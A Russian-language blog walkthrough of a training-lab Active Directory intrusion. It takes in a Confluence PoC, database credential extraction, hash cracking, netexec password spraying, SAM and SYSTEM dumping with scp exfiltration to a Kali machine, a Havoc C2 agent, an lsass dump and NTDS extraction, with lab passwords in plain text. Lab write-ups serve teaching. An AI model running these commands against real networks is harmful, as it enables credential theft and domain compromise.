Оправдываем свой непрофессионализм
Товарищи всех приветствую, вы попали в логово баламута, одного из самых влиятельных экспертов в кавычках. Тут я буду делиться своими наработками, посмотрим что к чему. Со временем уровень моих знаний должен повышаться и статьи должны быть более полезными, а пока буду делиться базовыми вещами для таких же новичков как и я. Иногда мне будет помогать рыжая девочка lisa99, вы все ее знаете с постов на дамаге про стройку=))))
https://t.me/boost/mirea - накиньте, пожалуйста бустов, хочу открыть новые эмодзи.
Если вы заметите какие-то неточности, то, пожалуйста сообщите баламуту
Ссылки на наши проекты 😎
- @mirea - телеграм канал по информационной безопасности
- @greyhatchat - суперчат с полезными статьями, книгами, докладами
- ad.knightpentest.com - райтапы по Active Directory
Получаем первоначальный доступ
Я подключился к впну и решил просканировать доступную мне сетку на наличие открытых портов. Первое, что нас будет интересовать - это веб ресурсы. Можно попробовать найти эксплоит или подобрать креды.
Есть вот такое веб приложение, которое запущено на порту 8090. Мы можем увидеть название и версию. Это уже намек, что нужно попыться найти poc.
Atlassian Confluence 8.5.3 poc github - гуглим
Просто клонируем себе на машину и запускаем эксплоит.
Ранее мы сканировали сетку. Я там обнаружил торчащую СУБД psql. Тут я понял, что с помощью полученного шелла я могу прочитать конфигурационный файл и вытащить креды для подключения к бд. Видим один единственный файл в котором есть “cfg” вот его и будем читать
Видим кучу информации, если приглядеться, то есть вся необходимая информация для подключения к бд. А именно
- confluence - юзернейм
- psqlP4sswd123 - пароль
- jdbc:postgresql://db:5432/confluence - название бд и порт для подключения
Подключаемся и с помощью “\dt” просматриваем доступные таблицы в базе confluence.
Далее я выделил область терминала (win+shift+s). У меня купленная нейронка GPT 4.0, она мне очень помогает, закинул туда скриншот с названиями таблиц и попросил найти таблицу в которой содержатся пользовательские учетки в confluence и каким SQL запросом извлечь все записи.
SELECT * FROM cwd_user;
Ну вот собственно и учетки. Нас будет интересовать формат username:password. Поэтому берем весь этот output, нормализируем, вытаскиваем хэши, юзеров. Далее находим словарик с паролями и подбираем хэш для каждого пользователя в бд с помощью hashcat или john.
echo "admin:{PKCS5S2}rMuhH5aHDD1SMUL4DhEx+TmaPKUVh44F+R5GSKQX3l8YeEaNuEYwkxS08pTn42Xc" > hash1.txt
john --wordlist=rockyou.txt hash1.txt
У меня получилось сбрутить 2 пароля. Таким вот образом мы получили первоначальный доступ.
Фаззим сетку с помощью полученных учеток
netexec ssh 10.111.0.0/24 -u 'shutova' -p '1qazZAQ1'
netexec smb 10.111.0.0/24 -u 'shutova' -p '1qazZAQ1'
netexec rdp 10.111.0.0/24 -u 'shutova' -p '1qazZAQ1'
netexec wmi 10.111.0.0/24 -u 'shutova' -p '1qazZAQ1'
netexec ftp 10.111.0.0/24 -u 'shutova' -p '1qazZAQ1'
rdp - это лишь пример. На курсе он запрещен, потому что лаба может сломаться=) В целом не стоит относиться серьезно к информации, которую я рассказываю, т.к на деле тут можем оказаться только 20% от сути. Но лучше хоть с чего-то начать.
Доступны только системные неинтересные шары. В таком случае будем фаззить вторую учетку.
netexec ssh 10.111.0.0/24 -u 'verentsov' -p 'gfhjkm123!'
У нас есть возможность подключиться к пользователю verentsov по ssh. Что мы сейчас и сделаем! Заодно посмотрим какие привилегии у нас есть…
Дампим локальные учетки из файла SAM
Обращаем внимание на привилегию “SeBackup”. Это прям намек, что мы можем копаться в реестре, файлах, которые как правило недоступны обычному пользователю. Нас будет интересовать файл “sam” в нем хранятся учетки локальных пользователей.
Сохраняем из реестра sam и system, чтобы далее можно было распарсить на локальной машине учетки, т.к sam файл зашифрован.
reg save HKLM\SAM "C:\Users\Windows\Tasks\sam.txt"
reg save HKLM\SYSTEM "C:\Users\Windows\Tasks\system.txt"
Клонируем себе на машину sam.txt & system.txt
scp -r [email protected]:/C:/Windows/Tasks/sam.txt /home/kali/Desktop
scp -r [email protected]:/C:/Windows/Tasks/system.txt /home/kali/Desktop
Парсим с помощью инструмента secretsdump.py
Нас интересует учетка local_admin. У нас есть NTHASH, который мы сбрутим инструментом hashcat.
hashcat -m 1000 -a 0 hash.txt rockyou.txt
local_admin:asdfASDF1234 - получаем учетку. Снова фаззим ее по всей сетке и находим тачку, где у нас есть доступ по ssh.
Дампим с учетки локального администратора учетки из lsass⚡
Вот этот инструмент нам поможет. Я буду использовать C2 havoc, т.к туда уже встроена данная утилита.
Как засетапить этот C2 я рассказывал в телеграм канале. Или можете почитать документацию.
Включаем прослушиватель на 443 порту к примеру.
Поднимаем сервак на 8080 порту, чтобы поделиться агентом=)
python3 -m http.server 8080
Прилетает сессия в наш C2. Дампим lsass с помощью nanodump
Забираем dump.dmp, чтобы на нашей локальной машинке распарсить
python3 -m pypykatz lsa minidump dump.dmp
Работаем от имени доменного администратора. Забираем учетки из файла NTDS
Брутим NTHASH domain_admin. Фаззим снова сетку. Подключаемся по ssh. И забираем NTDS.
ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Tasks\student\NTDS" quit quit
Забираем полученный файл на свою локальную машину и парсим оттуда учетки.
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Приводим все это дело в нормальный вид. Брутим хэши. Потом оказалось, что можно просто было пробраться на другой хост…
После ряда эксперементов на хосте 0.4. Я закачал тулзу lazagneсразу собранную версию.
Вот. Теперь у нас еще креды для подключения к ftp.
На этом сегодня остановимся…
Вывод
в AD очень много векторов для атаки. У неподготовленного юзера может слететь колпак от большего потока информаци=))) Продолжим чуть позже дальше.
Если вам нравится формат, подписывайся https://t.me/mirea чтобы получать оповещения о выходе новой части⚔️